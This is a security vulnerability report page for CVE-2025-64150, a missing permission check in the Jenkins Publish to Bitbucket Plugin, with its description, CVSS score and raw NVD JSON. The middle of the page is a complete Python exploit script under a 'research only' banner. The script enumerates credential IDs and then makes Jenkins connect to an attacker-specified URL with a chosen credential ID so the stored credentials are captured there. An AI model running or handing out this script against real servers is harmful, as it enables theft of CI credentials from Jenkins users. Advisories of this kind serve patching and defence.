Security Vulnerability Report
中文
CVE-2025-64150 CVSS 5.4 MEDIUM

CVE-2025-64150

Published: 2025-10-29 14:16:00
Last Modified: 2025-11-04 22:16:42

Description

A missing permission check in Jenkins Publish to Bitbucket Plugin 0.4 and earlier allows attackers with Overall/Read permission to connect to an attacker-specified URL using attacker-specified credentials IDs obtained through another method, capturing credentials stored in Jenkins.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:jenkins:publish_to_bitbucket:*:*:*:*:*:jenkins:*:* - VULNERABLE
Jenkins Publish to Bitbucket Plugin <= 0.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-64150 PoC - Jenkins Publish to Bitbucket Plugin Permission Bypass # This PoC demonstrates how an attacker with Overall/Read permission # can exploit the missing permission check to capture credentials import requests import json import argparse def exploit_cve_2025_64150(jenkins_url, attacker_url, credential_id, session_cookie): """ Exploit the missing permission check in Jenkins Publish to Bitbucket Plugin Args: jenkins_url: Target Jenkins URL (e.g., http://target-jenkins:8080) attacker_url: Attacker-controlled URL to capture credentials credential_id: Valid credential ID to steal session_cookie: Jenkins session cookie for authenticated request """ # Endpoint for the vulnerable plugin functionality endpoint = f"{jenkins_url}/plugin/publish-to-bitbucket/checkConnection" # Malicious payload that exploits the missing permission check payload = { 'url': attacker_url, 'credentialsId': credential_id } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': f'JSESSIONID={session_cookie}' } print(f"[*] Targeting Jenkins: {jenkins_url}") print(f"[*] Attacker URL: {attacker_url}") print(f"[*] Credential ID: {credential_id}") print(f"[*] Sending exploit payload...") try: response = requests.post(endpoint, data=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Exploit sent successfully!") print(f"[*] Check {attacker_url} for captured credentials") else: print(f"[-] Request failed with status: {response.status_code}") print(f"[-] Response: {response.text}") except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") def get_credential_ids(jenkins_url, session_cookie): """ Enumerate available credential IDs (requires Overall/Read permission) """ endpoint = f"{jenkins_url}/credentials/store/system/domain/_/api/json" headers = {'Cookie': f'JSESSIONID={session_cookie}'} try: response = requests.get(endpoint, headers=headers, timeout=10) if response.status_code == 200: data = response.json() credential_ids = [cred['id'] for cred in data.get('credentials', [])] return credential_ids except: pass return [] if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2025-64150 Exploit') parser.add_argument('--url', required=True, help='Jenkins URL') parser.add_argument('--attacker-url', required=True, help='Attacker URL to capture credentials') parser.add_argument('--credential-id', required=True, help='Credential ID to steal') parser.add_argument('--session', required=True, help='JSESSIONID cookie') args = parser.parse_args() exploit_cve_2025_64150(args.url, args.attacker_url, args.credential_id, args.session)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64150", "sourceIdentifier": "[email protected]", "published": "2025-10-29T14:15:59.837", "lastModified": "2025-11-04T22:16:42.033", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A missing permission check in Jenkins Publish to Bitbucket Plugin 0.4 and earlier allows attackers with Overall/Read permission to connect to an attacker-specified URL using attacker-specified credentials IDs obtained through another method, capturing credentials stored in Jenkins."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jenkins:publish_to_bitbucket:*:*:*:*:*:jenkins:*:*", "versionEndIncluding": "0.4", "matchCriteriaId": "AFB047CD-0168-404D-9C45-E750E3F85763"}]}]}], "references": [{"url": "https://www.jenkins.io/security/advisory/2025-10-29/#SECURITY-3576", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2025/10/29/2", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}